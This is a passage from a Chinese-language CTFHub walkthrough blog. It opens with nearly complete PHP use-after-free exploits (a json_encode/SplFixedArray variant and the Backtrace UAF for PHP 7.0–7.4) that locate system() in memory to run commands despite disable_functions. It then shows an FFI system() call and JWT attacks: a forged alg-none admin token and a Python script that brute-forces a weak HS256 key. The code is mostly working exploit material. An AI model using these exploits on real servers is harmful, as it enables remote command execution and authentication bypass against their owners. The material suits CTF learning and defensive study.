            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }

        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);

通过蚁剑或者PHP的file_put_contents写入之后,运行即可执行命令
CTFHUB技能树(全详细解析含进阶)_第213张图片
CTFHUB技能树(全详细解析含进阶)_第214张图片

Backtrace UAF

影响版本是7.0-7.4
CTFHUB技能树(全详细解析含进阶)_第215张图片

a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

CTFHUB技能树(全详细解析含进阶)_第216张图片

FFI扩展

php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的

system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>

FFI::cdef用于说明函数的原型,然后把参数传进去。
CTFHUB技能树(全详细解析含进阶)_第217张图片

CTFHUB技能树(全详细解析含进阶)_第218张图片
CTFHUB技能树(全详细解析含进阶)_第219张图片

JSON Web Token

敏感信息泄露

CTFHUB技能树(全详细解析含进阶)_第220张图片
CTFHUB技能树(全详细解析含进阶)_第221张图片
我们直接登录一手
CTFHUB技能树(全详细解析含进阶)_第222张图片
JSON WEB TOKEN(缩写 JWT),服务器认证以后,生成一个 JSON 对象,发回给用户。
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。
服务器完全只靠这个对象认定用户身份。
为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。

JWT 的结构 :

  • 由三部分构成:
  • Header.Payload.Signature
  • 头部.负载.签名
JWT大概就是这种形式:
头部:eyJBRyI6IjNmMjhhYzg3NTA2M2JmMn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
负载:eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1Yns5ODMzZTE1NzQifQ.
签名:jFf_cb3Fx3EkOwrTR4ro_a3lMAq3Rd44mfJ8Pih6DqI

它是一个很长的字符串,中间用点 .分隔成三个部分。

那么我们分开解密CTFHUB技能树(全详细解析含进阶)_第223张图片
CTFHUB技能树(全详细解析含进阶)_第224张图片

无签名

CTFHUB技能树(全详细解析含进阶)_第225张图片
CTFHUB技能树(全详细解析含进阶)_第226张图片
我们登录的时候发现了这个
CTFHUB技能树(全详细解析含进阶)_第227张图片
传值发现了这个
我们解码看看
第一部分
CTFHUB技能树(全详细解析含进阶)_第228张图片
第二部分
CTFHUB技能树(全详细解析含进阶)_第229张图片
结合我们刚刚提醒,需要admin才可以,我们将guets改为admin
同时

从题目提示可以知道:一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证

CTFHUB技能树(全详细解析含进阶)_第230张图片

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。

在这里插入图片描述
guest 改为admin 然后拼接
CTFHUB技能树(全详细解析含进阶)_第231张图片
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIiwicm9sZSI6ImFkbWluIn0.

弱密钥

CTFHUB技能树(全详细解析含进阶)_第232张图片
很明显需要我们进行爆破

我们去github项目
这里
把他安装到linux 里面去
我们先放到
https://jwt.io/
这里在线解密一下
CTFHUB技能树(全详细解析含进阶)_第233张图片
我们首先下载

CTFHUB技能树(全详细解析含进阶)_第234张图片
CTFHUB技能树(全详细解析含进阶)_第235张图片
按照教程进行编译
进行使用,这里我环境开了两次,所以我密钥可能不同了
在这里插入图片描述
CTFHUB技能树(全详细解析含进阶)_第236张图片

好了,这次是新的
安装 jwt python的
CTFHUB技能树(全详细解析含进阶)_第237张图片

#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertools


def test_HS256():
    key = "test"
    encoded = jwt.encode({"some": "payload"}, key, algorithm="HS256")
    print(encoded)

    try:
        # print(jwt.decode(encoded,"test",algorithms="HS256"))
        print(jwt.decode(encoded, "tes", algorithms="HS256"))
    except Exception as e:
        print(e)
        print("error")
        exit()


def brute_HS256(encode):
    keys = string.ascii_lowercase
    # print(keys)
    for i in itertools.product(keys, repeat=4):
        key = "".join(i)
        print("[--]test ", key)
        try:
            print("[****]key:", key, jwt.decode(encode, key, algorithms="HS256"))
            break
        except Exception as e:
            pass
        # print(key)


if __name__ == '__main__':
    # test_HS256()
    encode = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsInJvbGUiOiJndWVzdCJ9.xCCx-8iRz4HybhQ5iz3zHLniJ5koa7iflMALlaos6ic"
    brute_HS256(encode)
    # print(jwt.encode({'username': 'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))

改成自己的密钥

CTFHUB技能树(全详细解析含进阶)_第238张图片

CTFHUB技能树(全详细解析含进阶)_第239张图片
成功

修改签名算法

CTFHUB技能树(全详细解析含进阶)_第240张图片

linux

动态加载器

你可能感兴趣的:(CTFhub技能树)